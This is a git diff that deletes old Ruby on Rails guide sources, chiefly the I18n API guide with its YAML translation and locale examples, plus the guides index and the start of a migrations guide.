-== How I18n in Ruby on Rails works
-
-Internationalization is a complex problem. Natural languages differ in so many ways (eg. in pluralization rules) that it is hard to provide tools for solving all problems at once. For that reason the Rails I18n API focuses on:
-
-* providing support for English and similar languages out of the box
-* making it easy to customize and extend everything for other languages
-
-As part of this solution, *every static string in the Rails framework* -- eg. ActiveRecord validation messages, time and date formats -- *has been internationalized*, so _localization_ of a Rails application means "over-riding" these defaults.
-
-=== The overall architecture of the library
-
-Thus, the Ruby I18n gem is split into two parts:
-
-* The public API of the i18n framework -- a Ruby module with public methods and definitions how the library works
-* A default backend (which is intentionally named _Simple_ backend) that implements these methods
-
-As a user you should always only access the public methods on the I18n module, but it is useful to know about the capabilities of the backend.
-
-NOTE: It is possible (or even desirable) to swap the shipped Simple backend with a more powerful one, which would store translation data in a relational database, GetText dictionary, or similar. See section <<_using_different_backends,Using different backends>> below.
-
-=== The public I18n API
-
-The most important methods of the I18n API are:
-
-[source, ruby]
--------------------------------------------------------
-translate # Lookup text translations
-localize # Localize Date and Time objects to local formats
--------------------------------------------------------
-
-These have the aliases #t and #l so you can use them like this:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t 'store.title'
-I18n.l Time.now
--------------------------------------------------------
-
-There are also attribute readers and writers for the following attributes:
-
-[source, ruby]
--------------------------------------------------------
-load_path # Announce your custom translation files
-locale # Get and set the current locale
-default_locale # Get and set the default locale
-exception_handler # Use a different exception_handler
-backend # Use a different backend
--------------------------------------------------------
-
-So, let's internationalize a simple Rails application from the ground up in the next chapters!
-
-== Setup the Rails application for internationalization
-
-There are just a few, simple steps to get up and running with I18n support for your application.
-
-=== Configure the I18n module
-
-Following the _convention over configuration_ philosophy, Rails will set-up your application with reasonable defaults. If you need different settings, you can overwrite them easily.
-
-Rails adds all +.rb+ and +.yml+ files from +config/locales+ directory to your *translations load path*, automatically.
-
-See the default +en.yml+ locale in this directory, containing a sample pair of translation strings:
-
-[source, ruby]
--------------------------------------------------------
-en:
- hello: "Hello world"
--------------------------------------------------------
-
-This means, that in the +:en+ locale, the key _hello_ will map to _Hello world_ string. Every string inside Rails is internationalized in this way, see for instance ActiveRecord validation messages in the http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml[+activerecord/lib/active_record/locale/en.yml+] file or time and date formats in the http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml[+activesupport/lib/active_support/locale/en.yml+] file. You can use YAML or standard Ruby Hashes to store translations in the default (Simple) backend.
-
-The I18n library will use *English* as a *default locale*, ie. if you don't set a different locale, +:en+ will be used for looking up translations.
-
-The *translations load path* (+I18n.load_path+) is just a Ruby Array of paths to your translation files that will be loaded automatically and available in your application. You can pick whatever directory and translation file naming scheme makes sense for you.
-
-NOTE: The backend will lazy-load these translations when a translation is looked up for the first time. This makes it possible to just swap the backend with something else even after translations have already been announced.
-
-The default +environment.rb+ files has instruction how to add locales from another directory and how to set different default locale. Just uncomment and edit the specific lines.
-
-[source, ruby]
--------------------------------------------------------
-# The internationalization framework can be changed
-# to have another default locale (standard is :en) or more load paths.
-# All files from config/locales/*.rb,yml are added automatically.
-# config.i18n.load_path << Dir[File.join(RAILS_ROOT, 'my', 'locales', '*.{rb,yml}')]
-# config.i18n.default_locale = :de
--------------------------------------------------------
-
-=== Optional: custom I18n configuration setup
-
-For the sake of completeness, let's mention that if you do not want to use the +environment.rb+ file for some reason, you can always wire up things manually, too.
-
-To tell the I18n library where it can find your custom translation files you can specify the load path anywhere in your application - just make sure it gets run before any translations are actually looked up. You might also want to change the default locale. The simplest thing possible is to put the following into an *initializer*:
-
-[source, ruby]
--------------------------------------------------------
-# in config/initializer/locale.rb
-
-# tell the I18n library where to find your translations
-I18n.load_path << Dir[ File.join(RAILS_ROOT, 'lib', 'locale', '*.{rb,yml}') ]
-
-# set default locale to something else then :en
-I18n.default_locale = :pt
--------------------------------------------------------
-
-=== Setting and passing the locale
-
-By default the I18n library will use :en (English) as a I18n.default_locale for looking up translations (if you do not specify a locale for a lookup).
-
-If you want to translate your Rails application to a single language other than English you can set I18n.default_locale to your locale. If you want to change the locale on a per-request basis though you can set it in a before_filter on the ApplicationController like this:
-
-[source, ruby]
--------------------------------------------------------
-before_filter :set_locale
-def set_locale
- # if this is nil then I18n.default_locale will be used
- I18n.locale = params[:locale]
-end
--------------------------------------------------------
-
-This will already work for URLs where you pass the locale as a query parameter as in example.com?locale=pt (which is what Google also does).
-
-TIP: For other URL designs, see http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url[How to encode the current locale in the URL].
-
-Now you've initialized I18n support for your application and told it which locale should be used. With that in place you're now ready for the really interesting stuff.
-
-== Internationalize your application
-
-The process of "internationalization" usually means to abstract all strings and other locale specific bits out of your application. The process of "localization" means to then provide translations and localized formats for these bits. <<1>>
-
-So, let's internationalize something. You most probably have something like this in one of your applications:
-
-[source, ruby]
--------------------------------------------------------
-# config/routes.rb
-ActionController::Routing::Routes.draw do |map|
- map.root :controller => 'home', :action => 'index'
-end
-
-# app/controllers/home_controller.rb
-class HomeController < ApplicationController
- def index
- flash[:notice] = "Hello flash!"
- end
-end
-
-# app/views/home/index.html.erb
-<h1>Hello world!</h1>
-<p><%= flash[:notice] %></p>
--------------------------------------------------------
-
-image:images/i18n/demo_untranslated.png[rails i18n demo untranslated]
-
-=== Adding Translations
-
-Obviously there are two strings that are localized to English. In order to internationalize this code replace these strings with calls to Rails' #t helper with a key that makes sense for the translation:
-
-[source, ruby]
--------------------------------------------------------
-# app/controllers/home_controller.rb
-class HomeController < ApplicationController
- def index
- flash[:notice] = t(:hello_flash)
- end
-end
-
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p>
--------------------------------------------------------
-
-When you now render this view it will show an error message that tells you that the translations for the keys :hello_world and :hello_flash are missing.
-
-image:images/i18n/demo_translation_missing.png[rails i18n demo translation missing]
-
-NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a &lt;span class="translation_missing"&gt;.
-
-So let's add the missing translations (i.e. do the "localization" part):
-
-[source, ruby]
--------------------------------------------------------
-# config/locale/en.yml
-en:
- hello_world: Hello World
- hello_flash: Hello Flash
-
-# config/locale/pirate.yml
-pirate:
- hello_world: Ahoy World
- hello_flash: Ahoy Flash
--------------------------------------------------------
-
-There you go. Because you haven't changed the default_locale I18n will use English. Your application now shows:
-
-image:images/i18n/demo_translated_english.png[rails i18n demo translated to english]
-
-And when you change the URL to pass the pirate locale you get:
-
-image:images/i18n/demo_translated_pirate.png[rails i18n demo translated to pirate]
-
-NOTE You need to restart the server when you add new locale files.
-
-=== Adding Date/Time formats
-
-Ok, let's add a timestamp to the view so we can demo the date/time localization feature as well. To localize the time format you pass the Time object to I18n.l or (preferably) use Rails' #l helper. You can pick a format by passing the :format option, by default the :default format is used.
-
-[source, ruby]
--------------------------------------------------------
-# app/views/home/index.html.erb
-<h1><%=t :hello_world %></h1>
-<p><%= flash[:notice] %></p
-<p><%= l Time.now, :format => :short %></p>
--------------------------------------------------------
-
-And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English):
-
-[source, ruby]
--------------------------------------------------------
-# config/locale/pirate.yml
-pirate:
- time:
- formats:
- short: "arrrround %H'ish"
--------------------------------------------------------
-
-So that would give you:
-
-image:images/i18n/demo_localized_pirate.png[rails i18n demo localized time to pirate]
-
-NOTE Right now you might need to add some more date/time formats in order to make the I18n backend work as expected. See the http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale[rails-i18n repository] for starting points.
-
-
-== Overview of the I18n API features
-
-The following purposes are covered:
-
-* lookup translations
-* interpolate data into translations
-* pluralize translations
-* localize dates, numbers, currency etc.
-
-=== Looking up translations
-
-==== Basic lookup, scopes and nested keys
-
-Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t :message
-I18n.t 'message'
--------------------------------------------------------
-
-translate also takes a :scope option which can contain one or many additional keys that will be used to specify a “namespace” or scope for a translation key:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t :invalid, :scope => [:active_record, :error_messages]
--------------------------------------------------------
-
-This looks up the :invalid message in the ActiveRecord error messages.
-
-Additionally, both the key and scopes can be specified as dot separated keys as in:
-
-[source, ruby]
--------------------------------------------------------
-I18n.translate :"active_record.error_messages.invalid"
--------------------------------------------------------
-
-Thus the following calls are equivalent:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t 'active_record.error_messages.invalid'
-I18n.t 'error_messages.invalid', :scope => :active_record
-I18n.t :invalid, :scope => 'active_record.error_messages'
-I18n.t :invalid, :scope => [:active_record, :error_messages]
--------------------------------------------------------
-
-==== Defaults
-
-When a default option is given its value will be returned if the translation is missing:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t :missing, :default => 'Not here'
-# => 'Not here'
--------------------------------------------------------
-
-If the default value is a Symbol it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned.
-
-E.g. the following first tries to translate the key :missing and then the key :also_missing. As both do not yield a result the string "Not here" will be returned:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t :missing, :default => [:also_missing, 'Not here']
-# => 'Not here'
--------------------------------------------------------
-
-==== Bulk and namespace lookup
-
-To lookup multiple translations at once an array of keys can be passed:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t [:odd, :even], :scope => 'active_record.error_messages'
-# => ["must be odd", "must be even"]
--------------------------------------------------------
-
-Also, a key can translate to a (potentially nested) hash as grouped translations. E.g. one can receive all ActiveRecord error messages as a Hash with:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t 'active_record.error_messages'
-# => { :inclusion => "is not included in the list", :exclusion => ... }
--------------------------------------------------------
-
-=== Interpolation
-
-In many cases you want to abstract your translations so that variables can be interpolated into the translation. For this reason the I18n API provides an interpolation feature.
-
-All options besides :default and :scope that are passed to #translate will be interpolated to the translation:
-
-[source, ruby]
--------------------------------------------------------
-I18n.backend.store_translations :en, :thanks => 'Thanks {{name}}!'
-I18n.translate :thanks, :name => 'Jeremy'
-# => 'Thanks Jeremy!'
--------------------------------------------------------
-
-If a translation uses :default or :scope as a interpolation variable an I18n::ReservedInterpolationKey exception is raised. If a translation expects an interpolation variable but it has not been passed to #translate an I18n::MissingInterpolationArgument exception is raised.
-
-
-=== Pluralization
-
-In English there's only a singular and a plural form for a given string, e.g. "1 message" and "2 messages". Other languages (http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar[Arabic], http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja[Japanese], http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru[Russian] and many more) have different grammars that have additional or less http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html[plural forms]. Thus, the I18n API provides a flexible pluralization feature.
-
-The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:
-
-[source, ruby]
--------------------------------------------------------
-I18n.backend.store_translations :en, :inbox => {
- :one => '1 message',
- :other => '{{count}} messages'
-}
-I18n.translate :inbox, :count => 2
-# => '2 messages'
--------------------------------------------------------
-
-The algorithm for pluralizations in :en is as simple as:
-
-[source, ruby]
--------------------------------------------------------
-entry[count == 1 ? 0 : 1]
--------------------------------------------------------
-
-I.e. the translation denoted as :one is regarded as singular, the other is used as plural (including the count being zero).
-
-If the lookup for the key does not return an Hash suitable for pluralization an I18n::InvalidPluralizationData exception is raised.
-
-=== Setting and passing a locale
-
-The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current like, e.g., Time.zone) or can be passed as an option to #translate and #localize.
-
-If no locale is passed I18n.locale is used:
-
-[source, ruby]
--------------------------------------------------------
-I18n.locale = :de
-I18n.t :foo
-I18n.l Time.now
--------------------------------------------------------
-
-Explicitely passing a locale:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t :foo, :locale => :de
-I18n.l Time.now, :locale => :de
--------------------------------------------------------
-
-I18n.locale defaults to I18n.default_locale which defaults to :en. The default locale can be set like this:
-
-[source, ruby]
--------------------------------------------------------
-I18n.default_locale = :de
--------------------------------------------------------
-
-== How to store your custom translations
-
-The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. <<2>>
-
-For example a Ruby Hash providing translations can look like this:
-
-[source, ruby]
--------------------------------------------------------
-{
- :pt => {
- :foo => {
- :bar => "baz"
- }
- }
-}
--------------------------------------------------------
-
-The equivalent YAML file would look like this:
-
-[source, ruby]
--------------------------------------------------------
-pt:
- foo:
- bar: baz
--------------------------------------------------------
-
-As you see in both cases the toplevel key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".
-
-Here is a "real" example from the ActiveSupport en.yml translations YAML file:
-
-[source, ruby]
--------------------------------------------------------
-en:
- date:
- formats:
- default: "%Y-%m-%d"
- short: "%b %d"
- long: "%B %d, %Y"
--------------------------------------------------------
-
-So, all of the following equivalent lookups will return the :short date format "%B %d":
-
-[source, ruby]
--------------------------------------------------------
-I18n.t 'date.formats.short'
-I18n.t 'formats.short', :scope => :date
-I18n.t :short, :scope => 'date.formats'
-I18n.t :short, :scope => [:date, :formats]
--------------------------------------------------------
-
-Generally we recommend using YAML as a format for storing translations. There are cases though where you want to store Ruby lambdas as part of your locale data, e.g. for special date
-
-=== Translations for ActiveRecord models
-
-You can use the methods Model.human_name and Model.human_attribute_name(attribute) to transparently lookup translations for your model and attribute names.
-
-For example when you add the following translations:
-
-[source, ruby]
--------------------------------------------------------
-en:
- activerecord:
- models:
- user: Dude
- attributes:
- user:
- login: "Handle"
- # will translate User attribute "login" as "Handle"
--------------------------------------------------------
-
-Then User.human_name will return "Dude" and User.human_attribute_name(:login) will return "Handle".
-
-==== Error message scopes
-
-ActiveRecord validation error messages can also be translated easily. ActiveRecord gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes and/or validations. It also transparently takes single table inheritance into account.
-
-This gives you quite powerful means to flexibly adjust your messages to your application's needs.
-
-Consider a User model with a validates_presence_of validation for the name attribute like this:
-
-[source, ruby]
--------------------------------------------------------
-class User < ActiveRecord::Base
- validates_presence_of :name
-end
--------------------------------------------------------
-
-The key for the error message in this case is :blank. ActiveRecord will lookup this key in the namespaces:
-
-[source, ruby]
--------------------------------------------------------
-activerecord.errors.messages.models.[model_name].attributes.[attribute_name]
-activerecord.errors.messages.models.[model_name]
-activerecord.errors.messages
--------------------------------------------------------
-
-Thus, in our example it will try the following keys in this order and return the first result:
-
-[source, ruby]
--------------------------------------------------------
-activerecord.errors.messages.models.user.attributes.name.blank
-activerecord.errors.messages.models.user.blank
-activerecord.errors.messages.blank
--------------------------------------------------------
-
-When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up.
-
-For example, you might have an Admin model inheriting from User:
-
-[source, ruby]
--------------------------------------------------------
-class Admin < User
- validates_presence_of :name
-end
--------------------------------------------------------
-
-Then ActiveRecord will look for messages in this order:
-
-[source, ruby]
--------------------------------------------------------
-activerecord.errors.models.admin.attributes.title.blank
-activerecord.errors.models.admin.blank
-activerecord.errors.models.user.attributes.title.blank
-activerecord.errors.models.user.blank
-activerecord.errors.messages.blank
--------------------------------------------------------
-
-This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models or default scopes.
-
-==== Error message interpolation
-
-The translated model name and translated attribute name are always available for interpolation.
-
-So, for example, instead of the default error message "can not be blank" you could use the attribute name like this: "Please fill in your {{attribute}}".
-
-count and/or value are available where applicable. Count can be used for pluralization if present:
-
-|=====================================================================================================
-| validation | with option | message | interpolation
-| validates_confirmation_of | - | :confirmation | -
-| validates_acceptance_of | - | :accepted | -
-| validates_presence_of | - | :blank | -
-| validates_length_of | :within, :in | :too_short | count
-| validates_length_of | :within, :in | :too_long | count
-| validates_length_of | :is | :wrong_length | count
-| validates_length_of | :minimum | :too_short | count
-| validates_length_of | :maximum | :too_long | count
-| validates_uniqueness_of | - | :taken | value
-| validates_format_of | - | :invalid | value
-| validates_inclusion_of | - | :inclusion | value
-| validates_exclusion_of | - | :exclusion | value
-| validates_associated | - | :invalid | value
-| validates_numericality_of | - | :not_a_number | value
-| validates_numericality_of | :greater_than | :greater_than | value
-| validates_numericality_of | :greater_than_or_equal_to | :greater_than_or_equal_to | value
-| validates_numericality_of | :equal_to | :equal_to | value
-| validates_numericality_of | :less_than | :less_than | value
-| validates_numericality_of | :less_than_or_equal_to | :less_than_or_equal_to | value
-| validates_numericality_of | :odd | :odd | value
-| validates_numericality_of | :even | :even | value
-|=====================================================================================================
-
-
-==== Translations for the ActiveRecord error_messages_for helper
-
-If you are using the ActiveRecord error_messages_for helper you will want to add translations for it.
-
-Rails ships with the following translations:
-
-[source, ruby]
--------------------------------------------------------
-en:
- activerecord:
- errors:
- template:
- header:
- one: "1 error prohibited this {{model}} from being saved"
- other: "{{count}} errors prohibited this {{model}} from being saved"
- body: "There were problems with the following fields:"
--------------------------------------------------------
-
-
-=== Other translations and localizations
-
-Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers.
-
-TODO list helpers and available keys
-
-
-== Customize your I18n setup
-
-=== Using different backends
-
-For several reasons the shipped Simple backend only does the "simplest thing that ever could work" _for Ruby on Rails_ <<3>> ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format.
-
-That does not mean you're stuck with these limitations though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend:
-
-[source, ruby]
--------------------------------------------------------
-I18n.backend = Globalize::Backend::Static.new
--------------------------------------------------------
-
-=== Using different exception handlers
-
-The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur:
-
-[source, ruby]
--------------------------------------------------------
-MissingTranslationData # no translation was found for the requested key
-InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil)
-InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization
-MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed
-ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default)
-UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path
--------------------------------------------------------
-
-The I18n API will catch all of these exceptions when they were thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for MissingTranslationData exceptions. When a MissingTranslationData exception has been caught it will return the exception’s error message string containing the missing key/scope.
-
-The reason for this is that during development you'd usually want your views to still render even though a translation is missing.
-
-In other contexts you might want to change this behaviour though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module:
-
-[source, ruby]
--------------------------------------------------------
-module I18n
- def just_raise_that_exception(*args)
- raise args.first
- end
-end
-
-I18n.exception_handler = :just_raise_that_exception
--------------------------------------------------------
-
-This would re-raise all caught exceptions including MissingTranslationData.
-
-Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method #t (as well as #translate). When a MissingTranslationData exception occurs in this context the helper wraps the message into a span with the css class translation_missing.
-
-To do so the helper forces I18n#translate to raise exceptions no matter what exception handler is defined by setting the :raise option:
-
-[source, ruby]
--------------------------------------------------------
-I18n.t :foo, :raise => true # always re-raises exceptions from the backend
--------------------------------------------------------
-
-
-== Resources
-
-
-== Footnotes
-
-[[[1]]] Or, to quote http://en.wikipedia.org/wiki/Internationalization_and_localization[Wikipedia]: _"Internationalization is the process of designing a software application so that it can be adapted to various languages and regions without engineering changes. Localization is the process of adapting software for a specific region or language by adding locale-specific components and translating text."_
-
-[[[2]]] Other backends might allow or require to use other formats, e.g. a GetText backend might allow to read GetText files.
-
-[[[3]]] One of these reasons is that we don't want to any unnecessary load for applications that do not need any I18n capabilities, so we need to keep the I18n library as simple as possible for English. Another reason is that it is virtually impossible to implement a one-fits-all solution for all problems related to I18n for all existing languages. So a solution that allows us to exchange the entire implementation easily is appropriate anyway. This also makes it much easier to experiment with custom features and extensions.
-
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213/tickets/23[Lighthouse ticket]
diff --git a/railties/doc/guides/source/images/error_messages.png b/railties/doc/guides/source/images/error_messages.png
deleted file mode 100644
index 32de1cac21..0000000000
--- a/railties/doc/guides/source/images/error_messages.png
+++ /dev/null
Binary files differ
diff --git a/railties/doc/guides/source/images/i18n/demo_localized_pirate.png b/railties/doc/guides/source/images/i18n/demo_localized_pirate.png
deleted file mode 100644
index 22b93416a0..0000000000
--- a/railties/doc/guides/source/images/i18n/demo_localized_pirate.png
+++ /dev/null
Binary files differ
diff --git a/railties/doc/guides/source/images/i18n/demo_translated_en.png b/railties/doc/guides/source/images/i18n/demo_translated_en.png
deleted file mode 100644
index 7ea0c437a5..0000000000
--- a/railties/doc/guides/source/images/i18n/demo_translated_en.png
+++ /dev/null
Binary files differ
diff --git a/railties/doc/guides/source/images/i18n/demo_translated_pirate.png b/railties/doc/guides/source/images/i18n/demo_translated_pirate.png
deleted file mode 100644
index 60ef370158..0000000000
--- a/railties/doc/guides/source/images/i18n/demo_translated_pirate.png
+++ /dev/null
Binary files differ
diff --git a/railties/doc/guides/source/images/i18n/demo_translation_missing.png b/railties/doc/guides/source/images/i18n/demo_translation_missing.png
deleted file mode 100644
index 86a3121cc1..0000000000
--- a/railties/doc/guides/source/images/i18n/demo_translation_missing.png
+++ /dev/null
Binary files differ
diff --git a/railties/doc/guides/source/images/i18n/demo_untranslated.png b/railties/doc/guides/source/images/i18n/demo_untranslated.png
deleted file mode 100644
index e6717fb7d1..0000000000
--- a/railties/doc/guides/source/images/i18n/demo_untranslated.png
+++ /dev/null
Binary files differ
diff --git a/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif b/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif
deleted file mode 100644
index 98ffefaf6a..0000000000
--- a/railties/doc/guides/source/images/ruby_on_rails_by_mike_rundle2.gif
+++ /dev/null
Binary files differ
diff --git a/railties/doc/guides/source/index.txt b/railties/doc/guides/source/index.txt
deleted file mode 100644
index b32d8ef7b1..0000000000
--- a/railties/doc/guides/source/index.txt
+++ /dev/null
@@ -1,145 +0,0 @@
-Ruby on Rails Guides
-====================
-
-These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together. There are two different versions of the Guides site, and you should be sure to use the one that applies to your situation:
-
-* http://guides.rubyonrails.org/[Current Release version] - based on Rails 2.2
-* http://guides.rails.info/[Edge Rails version] - based on the Rails 2.3 branch
-
-WARNING: This page is the result of ongoing http://hackfest.rubyonrails.org/guide[Rails Guides hackfest] and a work in progress.
-
-CAUTION: Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Start Here</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:getting_started_with_rails.html[Getting Started with Rails]
-***********************************************************
-Everything you need to know to install Rails and create your first application.
-***********************************************************
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Models</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:migrations.html[Rails Database Migrations]
-***********************************************************
-This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.
-***********************************************************
-
-.link:activerecord_validations_callbacks.html[Active Record Validations and Callbacks]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/26[Lighthouse Ticket]
-
-This guide covers how you can use Active Record validations and callbacks.
-***********************************************************
-
-.link:association_basics.html[Active Record Associations]
-***********************************************************
-This guide covers all the associations provided by Active Record.
-***********************************************************
-
-.link:active_record_querying.html[Active Record Query Interface]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/16[Lighthouse Ticket]
-
-This guide covers the database query interface provided by Active Record.
-***********************************************************
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Views</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:layouts_and_rendering.html[Layouts and Rendering in Rails]
-***********************************************************
-This guide covers the basic layout features of Action Controller and Action View,
-including rendering and redirecting, using +content_for+ blocks, and working
-with partials.
-***********************************************************
-
-.link:form_helpers.html[Action View Form Helpers]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/1[Lighthouse Ticket]
-
-Guide to using built in Form helpers.
-***********************************************************
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Controllers</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:routing_outside_in.html[Rails Routing from the Outside In]
-***********************************************************
-This guide covers the user-facing features of Rails routing. If you want to
-understand how to use routing in your own Rails applications, start here.
-***********************************************************
-
-.link:actioncontroller_basics.html[Basics of Action Controller]
-***********************************************************
-This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.
-***********************************************************
-
-.link:caching_with_rails.html[Rails Caching]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/10[Lighthouse Ticket]
-
-This guide covers the three types of caching that Rails provides by default.
-***********************************************************
-
-++++++++++++++++++++++++++++++++++++++
-<h2>Digging Deeper</h2>
-++++++++++++++++++++++++++++++++++++++
-
-.link:testing_rails_applications.html[Testing Rails Applications]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/8[Lighthouse Ticket]
-
-This is a rather comprehensive guide to doing both unit and functional tests
-in Rails. It covers everything from ``What is a test?'' to the testing APIs.
-Enjoy.
-***********************************************************
-
-.link:security.html[Securing Rails Applications]
-***********************************************************
-This guide describes common security problems in web applications and how to
-avoid them with Rails.
-***********************************************************
-
-.link:debugging_rails_applications.html[Debugging Rails Applications]
-***********************************************************
-This guide describes how to debug Rails applications. It covers the different
-ways of achieving this and how to understand what is happening "behind the scenes"
-of your code.
-***********************************************************
-
-.link:performance_testing.html[Performance Testing Rails Applications]
-***********************************************************
-This guide covers ways to benchmark and profile your Rails application.
-***********************************************************
-
-.link:creating_plugins.html[The Basics of Creating Rails Plugins]
-***********************************************************
-This guide covers how to build a plugin to extend the functionality of Rails.
-***********************************************************
-
-.link:i18n.html[The Rails Internationalization API]
-***********************************************************
-CAUTION: link:http://rails.lighthouseapp.com/projects/16213/tickets/23[Lighthouse ticket]
-
-This guide introduces you to the basic concepts and features of the Rails I18n API and shows you how to localize your application.
-***********************************************************
-
-.link:configuring.html[Configuring Rails Applications]
-***********************************************************
-This guide covers the basic configuration settings for a Rails application.
-***********************************************************
-
-.link:command_line.html[Rails Command Line Tools and Rake tasks]
-***********************************************************
-This guide covers the command line tools and rake tasks provided by Rails.
-***********************************************************
-
-Authors who have contributed to complete guides are listed link:authors.html[here].
-
-This work is licensed under a link:http://creativecommons.org/licenses/by-nc-sa/3.0/[Creative Commons Attribution-Noncommercial-Share Alike 3.0 License]
diff --git a/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt b/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt
deleted file mode 100644
index 9f325af914..0000000000
--- a/railties/doc/guides/source/migrations/anatomy_of_a_migration.txt
+++ /dev/null
@@ -1,85 +0,0 @@
-== Anatomy Of A Migration ==
-
-Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:
-
-[source, ruby]
-------------------------
-class CreateProducts < ActiveRecord::Migration
- def self.up
- create_table :products do |t|
- t.string :name
- t.text :description
-
- t.timestamps
- end
- end
-
- def self.down
- drop_table :products
- end
-end
-------------------------
-
-This migration adds a table called `products` with a string column called `name` and a text column called `description`. A primary key column called `id` will also be added, however since this is the default we do not need to ask for this. The timestamp columns `created_at` and `updated_at` which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.
-
-Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:
-
-[source, ruby]
-------------------------
-class AddReceiveNewsletterToUsers < ActiveRecord::Migration
- def self.up
- change_table :users do |t|
- t.boolean :receive_newsletter, :default => false
- end
- User.update_all ["receive_newsletter = ?", true]
- end
-
- def self.down
- remove_column :users, :receive_newsletter
- end
-end
-------------------------
-
-This migration adds an `receive_newsletter` column to the `users` table. We want it to default to `false` for new users, but existing users are considered
-to have already opted in, so we use the User model to set the flag to `true` for existing users.
-
-NOTE: Some <<models,caveats>> apply to using models in your migrations.
-
-=== Migrations are classes
-A migration is a subclass of ActiveRecord::Migration that implements two class methods: +up+ (perform the required transformations) and +down+ (revert them).
-
-Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):
-
-* `create_table`
-* `change_table`
-* `drop_table`
-* `add_column`
-* `remove_column`
-* `change_column`
-* `rename_column`
-* `add_index`
-* `remove_index`
-
-If you need to perform tasks specific to your database (for example create a <<foreign_key,foreign key>> constraint) then the `execute` function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could
-write code to set the value of that column for existing records (if necessary using your models).
-
-On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.
-
-=== What's in a name ===
-
-Migrations are stored in files in `db/migrate`, one for each migration class. The name of the file is of the form `YYYYMMDDHHMMSS_create_products.rb`, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example `20080906120000_create_products.rb` should define CreateProducts and `20080906120001_add_details_to_products.rb` should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.
-
